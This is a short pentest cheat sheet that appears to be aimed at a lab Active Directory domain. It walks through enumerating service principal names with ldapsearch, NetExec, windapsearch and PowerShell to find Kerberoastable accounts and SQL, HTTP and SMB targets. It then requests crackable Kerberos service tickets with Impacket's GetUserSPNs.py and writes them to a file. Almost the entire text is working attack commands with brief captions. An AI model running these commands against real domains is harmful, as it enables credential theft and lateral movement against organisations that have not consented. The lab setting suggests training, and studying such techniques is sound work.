SPNs map AD accounts to Kerberos-backed services. We enumerate SPNs to find Kerberoastable users, service hosts, lateral movement protocols, SQL services, web services, and accounts that may be overprivileged.
export DC=10.10.10.200
export BASE='DC=ootw,DC=local'
export DOMAIN=ootw.local
export USER='student'
export PASS='student'
Pull every object with an SPN.
ldapsearch -LLL -x -H ldap://$DC -D "$DOMAIN\\$USER" -w "$PASS" -E pr=1000/noprompt -o ldif-wrap=no -b "$BASE" '(servicePrincipalName=*)' sAMAccountName distinguishedName servicePrincipalName memberOf adminCount userAccountControl
Pull enabled user accounts with SPNs and exclude krbtgt.
ldapsearch -LLL -x -H ldap://$DC -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' name sAMAccountName servicePrincipalName memberOf adminCount
Find MSSQL service SPNs.
ldapsearch -LLL -x -H ldap://$DC -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" '(servicePrincipalName=MSSQLSvc*)' sAMAccountName dNSHostName servicePrincipalName
Find HTTP service SPNs for IIS, WinRM, web SSO, or API services.
ldapsearch -LLL -x -H ldap://$DC -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" '(servicePrincipalName=HTTP*)' sAMAccountName dNSHostName servicePrincipalName
Find CIFS service SPNs for SMB-oriented targeting.
ldapsearch -LLL -x -H ldap://$DC -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" '(servicePrincipalName=CIFS*)' sAMAccountName dNSHostName servicePrincipalName
Request Kerberoastable SPNs with Impacket.
GetUserSPNs.py $DOMAIN/$USER:"$PASS" -dc-ip $DC
GetUserSPNs.py $DOMAIN/$USER:"$PASS" -dc-ip $DC -request -outputfile kerberoast.tgs
Fast wrapper enumeration with NetExec and windapsearch.
nxc ldap $DC -d OOTW -u $USER -p "$PASS" -M get-spns
python3 windapsearch.py -d $DOMAIN -u $USER -p "$PASS" --spns
Windows-side equivalent.
setspn -Q */*
Get-ADUser -LDAPFilter '(&(samAccountType=805306368)(servicePrincipalName=*))' -Properties ServicePrincipalName,MemberOf,AdminCount |
Select-Object SamAccountName,ServicePrincipalName,AdminCount